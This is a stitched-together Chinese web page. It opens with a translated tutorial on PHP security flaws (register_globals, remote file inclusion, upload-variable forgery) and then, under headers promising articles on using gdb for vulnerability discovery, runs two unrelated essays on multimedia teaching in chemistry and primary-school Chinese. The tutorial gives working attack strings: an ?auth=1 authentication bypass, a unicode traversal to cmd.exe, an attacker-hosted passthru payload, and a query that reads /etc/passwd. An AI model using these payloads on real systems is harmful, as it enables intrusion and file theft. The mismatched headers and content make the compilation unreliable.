PHP中的变量不需要事先声明,它们会在第一次使用时自动创建,它们的类型也不需要指定,它们会根据上下文环境自动确定。从程序员的角度来看,这无疑是一种极其方便的处理方法。很显然,这也是快速开发语言的一个很有用的特点。一旦一个变量被创建了,就可以在程序中的任何地方使用。这个特点导致的结果就是程序员很少初始化变量,毕竟,当它们第一次创建时,他们是空的。
很显然,基于PHP的应用程序的主函数一般都是接受用户的输入(主要是表单变量,上载文件和Cookie等),然后对输入数据进行处理,然后把结果返回到客户端浏览器。为了使PHP代码访问用户的输入尽可能容易,实际上PHP是把这些输入数据看作全局变量来处理的。
例如:
很显然,这会显示一个文本框和提交按钮。当用户点击提交按钮时,“test.php”会处理用户的输入,当“test.php”运行时,“$hello”会包含用户在文本框输入的数据。从这里我们应该看出,攻击者可以按照自己的意愿创建任意的全局变量。如果攻击者不是通过表单输入来调用“test.php”,而是直接在浏览器地址栏输入server/test.php?hello=hi&setup=no,那么,不止是“$hello”被创建,“$setup”也被创建了。
译者注:这两种方法也就是我们通常说的“POST”和“GET”方法。
下面的用户认证代码暴露了PHP的全局变量所导致的安全问题:
if ($pass == “hello”)
$auth = 1;
...
if ($auth == 1)
echo “some important information”;
?>
上面的代码首先检查用户的密码是否为“hello”,如果匹配的话,设置“$auth”为“1”,即通过认证。之后如果“$suth”为“1”的话,就会显示一些重要信息。
表面看起来是正确的,而且我们中有相当一部分人是这样做的,但是这段代码犯了想当然的错误,它假定“$auth”在没有设置值的时候是空的,却没有想到攻击者可以创建任何全局变量并赋值,通过类似“server/test.php?auth=1”的方法,我们完全可以欺骗这段代码,使它相信我们是已经认证过的。
因此,为了提高PHP程序的安全性,我们不能相信任何没有明确定义的变量。如果程序中的变量很多的话,这可是一项非常艰巨的任务。
一种常用的保护方式就是检查数组HTTP_GET[]或POST_VARS[]中的变量,这依赖于我们的提交方式(GET或POST)。当PHP配置为打开“track_vars”选项的话(这是缺省值),用户提交的变量就可以在全局变量和上面提到的数组中获得。
但是值得说明的是,PHP有四个不同的数组变量用来处理用户的输入。HTTP_GET_VARS数组用来处理GET方式提交的变量,HTTP_POST_VARS数组用于处理POST方式提交的变量,HTTP_COOKIE_VARS数组用于处理作为cookie头提交的变量,而对于HTTP_POST_FILES数组(比较新的PHP才提供),则完全是用户用来提交变量的一种可选方式。用户的一个请求可以很容易的把变量存在这四个数组中,因此一个安全的PHP程序应该检查这四个数组。
[远程文件]
PHP是一种具有丰富特性的语言,提供了大量的函数,使编程者实现某个功能很容易。但是从安全的角度来看,功能越多,要保证它的安全性就越难,远程文件就是说明这个问题的一个很好的例子:
if (!($fd = fopen(“$filename”, “r”))
echo(“Could not open file: $filename
n”);
?>
上面的脚本试图打开文件“$filename”,如果失败就显示错误信息。很明显,如果我们能够指定“$filename”的话,就能利用这个脚本浏览系统中的任何文件。但是,这个脚本还存在一个不太明显的特性,那就是它可以从任何其它WEB或FTP站点读取文件。实际上,PHP的大多数文件处理函数对远程文件的处理是透明的。
例如:
如果指定“$filename”为“target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir”
则上面的代码实际上是利用主机target上的unicode漏洞,执行了dir命令。
这使得支持远程文件的include,require(),include_once()和require_once()在上下文环境中变得更有趣。这些函数主要功能是包含指定文件的内容,并且把它们按照PHP代码解释,主要是用在库文件上。
例如:
include($libdir . “/languages.php”);
?>
上例中“$libdir”一般是一个在执行代码前已经设置好的路径,如果攻击者能够使得“$libdir”没有被设置的话,那么他就可以改变这个路径,
但是攻击者并不能做任何事情,因为他们只能在他们指定的路径中访问文件languages.php(perl中的“Poison null byte”攻击对PHP没有作用)。但是由于有了对远程文件的支持,攻击者就可以做任何事情。例如,攻击者可以在某台服务器上放一个文件languages.php,包含如下内容:
passthru(“/bin/ls /etc”);
?>
然后把“$libdir”设置为“/“ target=_blank>/”,这样我们就可以在目标主机上执行上面的攻击代码,“/etc”目录的内容作为结果返回到客户的浏览器中。
需要注意的是,攻击服务器(也就是evilhost)应该不能执行PHP代码,否则攻击代码会在攻击服务器,而不是目标服务器执行,如果你想了解具体的技术细节,请参考:www.securereality.com.au/sradv00006.txt
[文件上载]
PHP自动支持基于RFC 1867的文件上载,我们看下面的例子:
上面的代码让用户从本地机器选择一个文件,当点击提交后,文件就会被上载到服务器。这显然是很有用的功能,但是PHP的响应方式使这项功能变的不安全。当PHP第一次接到这种请求,甚至在它开始解析被调用的PHP代码之前,它会先接受远程用户的文件,检查文件的长度是否超过“$MAX_FILE_SIZE variable”定义的值,如果通过这些测试的话,文件就会被存在本地的一个临时目录中。
因此,攻击者可以发送任意文件给运行PHP的主机,在PHP程序还没有决定是否接受文件上载时,文件已经被存在服务器上了。
这里我就不讨论利用文件上载来对服务器进行DOS攻击的可能性了。
让我们考虑一下处理文件上载的PHP程序,正如我们上面说的,文件被接收并且存在服务器上(位置是在配置文件中指定的,一般是/tmp),扩展名一般是随机的,类似“phpxXuoXG”的形式。PHP程序需要上载文件的信息以便处理它,这可以通过两种方式,一种方式是在PHP 3中已经使用的,另一种是在我们对以前的方法提出安全公告后引入的。
但是,我们可以肯定的说,问题还是存在的,大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件,比如说上面的例子:
$hello = Filename on local machine (e.g ”/tmp/phpxXuoXG“)
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g ”c:temphello.txt“)
$hello_type = Mime type of uploaded file (e.g ”text/plain“)
然后PHP程序开始处理根据“$hello”指定的文件,问题在于“$hello”不一定是一个PHP设置的变量,任何远程用户都可以指定它。如果我们使用下面的方式:
vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt
就导致了下面的PHP全局变量(当然POST方式也可以(甚至是Cookie)):
$hello = ”/etc/passwd“
$hello_size = 10240
$hello_type = ”text/plain“
$hello_name = ”hello.txt“
上面的表单数据正好满足了PHP程序所期望的变量,但是这时PHP程序不再处理上载的文件,而是处理“/etc/passwd”(通常会导致内容暴露)。这种攻击可以用于暴露任何敏感文件的内容。
我在前面已经说了,新版本的PHP使用HTTP_POST_FILES[]来决定上载文件,同时也提供了很多函数来解决这个问题,例如有一个函数用来判断某个文件是不是实际上载的文件。这些函数很好的解决了这个问题,但是实际上肯定有很多PHP程序仍然使用旧的方法,很容易受到这种攻击。
作为文件上载的攻击方法的一个变种,我们看一下下面的一段代码:
if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
include(”$theme“);
?>
如果攻击者可以控制“$theme”的话,很显然它可以利用“$theme”来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令,但是他无法使用远程文件,因此,他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的,但是文件上载帮了我们这个忙,如果攻击者先在本地机器上创建一个包含PHP代码的文件,然后创建一个包含名为“theme”的文件域的表单,最后用这个表单通过文件上载把创建的包含PHP代码的文件提交给上面的代码,PHP就会把攻击者提交的文件保存起来,并把“$theme”的值设置为攻击者提交的文件,这样file_exists()函数会检查通过,攻击者的代码也将执行。
获得执行任意指令的能力之后,攻击者显然想提升权限或者是扩大战果,而这又需要一些服务器上没有的工具集,而文件上载又一次帮了我们这个忙。攻击者可以使用文件上载功能上载工具,把她们存在服务器上,然后利用他们执行指令的能力,使用chmod()改变文件的权限,然后执行。例如:攻击者可以绕过防火墙或IDS上载一个本地root攻击程序,然后执行,这样就获得了root权限。
浅谈gdb在漏洞发掘中的使用 篇9
摘 要 根据实践经验讨论了在分析化学课程教学运用多媒体的优势、缺点以及注意的事项。多媒体教学有它的局限性,需要与传统教学手段取长补短,相得益彰。
关键词 分析化学 多媒体 教学效果
中图分类号:G424 文献标识码:A
分析化学是无机化学的后续课程,是高等院校化学、化工、环境等专业的一门重要的专业基础课程。分析化学主要分为定性分析和定量分析两部分,长期以来,教材内容上定性分析多侧重于系统分析,关系复杂,定量分析多侧重于公式推导,艰深难懂。在教学方法上也主要以课堂讲解为主,同时根据教学内容开设教学实验。笔者在几年的分析化学教学过程当中尝试大量使用多媒体教学,取得了一些经验教训。控制多媒体课件的放映速度,保证课堂教学效果
减少课堂教学时数,给学生更多的自主时间是高等教育发展的一种趋势。多媒体课件的优点之一,就是可以提前把要解说的内容做好,在需要放映时只需一点鼠标,节省了大量写板书的时间。但如果控制不好课件播放的速度,这也同样是多媒体课件的缺点。如在复杂酸碱体系中计算溶液pH值、络合滴定反应中副反应系数的计算等都需要大量公式的推导,传统的粉笔加黑板的教学方式,学生可以跟着教师的书写记笔记,记的过程当中体会教师推导的思路,如果课件播放速度过快,学生们应接不暇,就难以理解和掌握所讲的内容。所以教师对于容易理解的定理、概念等可以适当加快放映速度,但对于难以理解的问题必须放慢速度,甚至需要利用多媒体的优势反复放映或以各种形式和角度去分析和讲解。投影屏幕不能完全替代教师板书
作为传统课堂教学象征的黑板仍有一些地方是现代教学媒体无法完全替代的,首先是黑板即时重现力强,随写随看,内容还可以方便地增删。当然多媒体授课对于这一点不是完全没有解决的方法,目前可以使用如电子教鞭、屏幕笔等多种软件完成在投影屏上的直接书写,甚至可以直接使用各种颜色画出很漂亮的箭头、着重号等,加强教学效果。但是很多老师可能粉笔字、钢笔字都写的很好,“鼠标字”却还需要加强练习才能写出手。另外,好的板书有提纲挈领的作用,学生抬头一看,便对本节课的重点一目了然。掌握熟练地计算机操作是教师多媒体授课必备的技能
目前还有不少老师使用多媒体,操作技能还不扎实,有些常识性的操作还不掌握。多媒体教学经常被人诟病的就是操作过于线性,限制了教师的自由发挥。比如大部分教师常用的PowerPoint,就被认为很死板,幻灯片只能从头一张张连续播放。有的老师为了解决这个问题,使用了大量的跳转按钮、超链接等功能。其实PowerPoint本身就带有自由跳转到任何一张幻灯片的功能,在放映时右手在小键盘上输入幻灯片编号以后回车,就可以转到对应幻灯片上,而不需要用超链接。如果认为幻灯片编号不利于记忆,那么还可以将幻灯片以讲义的形式打印出来,需要跳转时看一下讲义即可。要想让多媒体服务于自己的课堂教学,老师首先要熟练掌握多媒体的基本知识和操作技能。在此基础上我们才能全面驾驭多媒体,才能在课堂上游刃有余地用好多媒体,使自己的课堂熠熠生辉。针对化学教师而言,专业的Chem Office、ChemSketch等软件的使用更是需要掌握的基本功。切忌多媒体喧宾夺主
如果多媒体课件图片、声音、动画用的过于频繁,会导致学生的兴趣点转移到欣赏课件上,而不是教学内容上。形象直观及内容丰富的多媒体课件作为教学辅助手段,能极大地提高了课堂教学的效果。但如果在制作多媒体课件过程中没有把握好其真正作用,那么就会适得其反。如:有部分虚拟分析化学实验多媒体课件画面优美,切换页面的动画和声音也富于变化,结果学生的注意力过多地集中于优美的画面、无效的动画和声音中,忽视了教师的讲解和实验的本质内容。多媒体授课不需要无关的声音来刺激学生。多媒体课件在制作过程中不能过分的追求表面美观,而忽视了多媒体作为教学辅助手段的真正作用。总结
使用多媒体教学时要确立教师在教学中的主导地位,是教师使用多媒体课件在授课,而不是多媒体通过教师的嘴在说话。多媒体在教学运用是实施教学的一种手段,但不是唯一的,作为教师首先应把握住自己在教学中的主导地位和作用,使多媒体发挥最佳教学功能。
运用多媒体是为了辅助教学,其出发点和落脚点是为了提高教学效果,但运用多媒体教学不是提高教学效果的唯一途径和手段,教学中不能为了多媒体而去使用多媒体,应针对教学内容采取与之相应的教学方法、方式,合理地综合和利用各种教学媒体,包括传统媒体,取长补短。这样才能发挥各种教学方法的综合功能,取得最佳效果。多媒体固然有它的局限性,但我们要用赞赏的眼光看待它,让其与传统教学手段取长补短,相得益彰。
参考文献
浅谈gdb在漏洞发掘中的使用 篇10
随着现代化教育的不断深入,在小学语文教学中如何应用电教媒体,好范文,全国公务员公同的天地向课堂四十分钟要质量,必须注意电教媒体使用的适时性。就课堂而言,媒体出示的机会是否恰当,直接影响媒体的使用效果,从而影响整堂课的效果。教师设计使用的媒体时机,可根据课堂教学环节、教学需要和学生思维特征多方面来考虑。
一、根据教学环节,设计时机。
一堂课有个好开头,是上好课的首要条件。利用电教媒体把学生难以见到的事物展现在他们眼前,增加感性认识,就可以激发学生的学习热情。例如:古诗《凉州词》,如何让学生理解开头二句“黄河远上白云间,一片孤城万仞山”呢?教学之前,先让学生想象黄河波涛滚滚的情景,再出示投影片,让学生由近及远地眺望蜿蜒曲折、波浪滔滔的黄河竟像一条丝带伸向远方,迤丽飞上云端。而一座孤零零的城堡却坐落在黄河两岸的崇山峻岭之间。为导入后二句诗句的教学创设情景,激发兴趣。
课堂教学的过程,是教师向学生传授知识,引导学生通过语言文字认识事物的过程,在这一环节中,设计好电教媒体时机,能帮助学生快捷、准确地掌握新的知识。以《灰椋鸟》一文为例,课文的重点是灰椋鸟归林时的壮观场面。那么怎样来感染这个场面呢?学习课文介绍后,再来对照投影片,学生就能从“一小群一小群”到“大部队排空而至”,再到“整群整群地列队飞行”,“一批一批,浩浩荡荡”。灰椋鸟归树林的壮观场面历历在目。
二.根据教学需要,把握时机。
电教媒体是教师根据教学需要确定的。媒体的演示时机,应和教学需要有机结合。整体感知课文,包括对课文中的语言文字的感知和对直观形象的事物感知。如能借助录音、录像、投影媒体,则可多角度地引起学生的感官兴奋,增加感知强度,使学生更好地从整体上把握感知课文。例如:教学《埃及的金字塔》时,教师提出金字塔的外形有什么独特之处?从胡夫金字塔可以看出这项工程有哪些特点?即播放录音,再演示投影。引导学生从“底是四方形”,“最后成塔尖”等词句对“角锥形”加深感受;通过“高”、“巨石”、“重”、“平整”、“紧密”等词语,领悟出这工程的“宏伟”和“精巧”。这样学生如临其境,对景物有了感知。
感知课文后教师应精心设计,利用电教媒体帮助学生进一步理解课文,解决教学中的疑点和难点。例如《螳螂捕蝉》这篇寓言故事,哲理性很强,课文重点使学生悟出寓言故事所说明的道理,这也是本文教学中的难点。在教学“一件挺有意思的事”时,恰到好处地出示投影片,让学生仔细观察“蝉”、“螳螂”、“黄雀”的动作神态,再联系课文中的词句指导学生展开想象。体悟“眼前的利益”与“身后的隐伏着的祸患”的双关意思。再联系到课文第三段故事的结果。领会吴王“恍然大悟”的道理,促进他“打消了攻打楚国的念头”。如此举一反三,理解寓意这一难点就迎刃解了。
三、根据思维特征,捕捉时机
启发式教育是课堂教学中的一大手段,它同样体现在电教媒体的使用时机上。学生想问题,会出现一时想不出的情况。这样,使用电教媒体会收到使学生思想豁然开朗的效果。例如:教学《山谷中的谜底》一文中的雪松。为什么雪松上积了厚厚的一层雪,只是弯曲,当积雪从树枝上滑落,依旧保持着苍翠挺拔的身姿,这是因为它有韧性。而其他一些树,由于没有雪松这个本领,就会被积雪压断。这时,教师可设计两种不同的投影片展示在屏幕上,这样清晰的演示,使学生一目了然,懂得“弯曲不是倒下和毁灭,而是为了生存和更好地发展”的道理。
在课堂上,学生对课文内容理解越深刻,情绪越高昂,其思维就越活跃。捕捉这一时机,顺势运用电教媒体,可以使学生认识更深刻。如《黄果树瀑布》一文,学生理解了瀑布的壮美后,再放录像,感受其声、形、色,领略其飞流直下的气势,听其声,见其形,学生对黄果树瀑布的喜爱赞叹之情便再次激起。